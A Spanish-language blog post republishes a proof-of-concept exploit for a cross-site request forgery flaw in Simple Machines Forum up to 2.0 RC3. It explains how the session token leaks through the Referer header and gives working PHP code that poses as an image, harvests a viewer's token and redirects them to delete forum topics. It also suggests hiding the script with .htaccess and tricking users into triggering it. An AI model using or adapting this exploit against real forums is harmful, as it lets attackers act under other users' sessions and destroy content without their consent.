Simple Machines Forum <= 2.0 RC3 Sesc theft (XSRF) by Xianur0

Publicado: septiembre 1, 2010 en Bug, Exploits Web y PoC

El SMF en muchas secciones agrega sesc, no es malo, pues ayuda a controlar los XSRF’s, el problema se encuentra presisamente en eso, el mecanismo es bueno, pero la implementacion no tanto…

el sesc se genera unico por cada session que inicia un usuario, de modo que ese sesc se seguira usando para todo lo que haga el usuario mientras este logeado, luego ese sesc se agrega en algunas secciones en LA URL!

Esto permite a un atacante mediante muy poca ingenieria social obtener el sesc de un usuario, por ejemplo, diseñe un PoC, que simula ser una imagen, la podemos insertar en un post real, y cuando otro usuario cite un comentario del tema, y si esta activado el Topic Summary, se cargan las imagenes publicadas en el post dentro de esa seccion (Topic Summary), de modo que al cargar las imagenes se agrega un Referer (el cual, entre otras cosas contiene el sesc del usuario). Ahora la prueba de concepto un PHP:

<?php
// By Xianur0
$imagen = "imagen real.jpg";
error_reporting(0);
function borrar($path,$topic,$sesc) {
if(!preg_match("/index.php$/",$path)) $path = preg_replace("/\/([^\/]+)$/","/",$path);
header("Location: ".$path."?action=removetopic2;topic=".$topic.";sesc=".$sesc,TRUE,302);
}

function mostrarimagen($imagen) {
header("Content-Type: image/jpeg");
print file_get_contents($imagen);
}

if(isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER']) && preg_match("/sesc=(.{32})/i",$_SERVER['HTTP_REFERER'],$matches) && preg_match("/topic=([^;]+)/i",$_SERVER['HTTP_REFERER'],$matchess) && preg_match("/^([^\?]+)/i",$_SERVER['HTTP_REFERER'],$matchesss)) {
$sesc = $matches[1];
$topic = $matchess[1];
$path = $matchesss[1];
borrar($path,$topic,$sesc);
exit;
}
mostrarimagen($imagen);
?>

ahora mediante un poco de .htaccess esta imagen quedara completamente oculta, solo queda insertarla en un post y esperar o convencer a algun usuario a citar algun post dentro del mensaje donde pusimos la image.

Si dicho usuario tiene permisos de borrar el post, el post sera borrado.

Desde luego mediante esta misma tecnica se pueden hacer otras cosas bastante mas malignas que borrar un post.

De momento no hay parche, luego programo algo… mientras tanto, no citen mensajes xD y/o desactiven el Topic Summary

Fuente:http://xianur0.diosdelared.com/?coment=7350

Anuncios

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s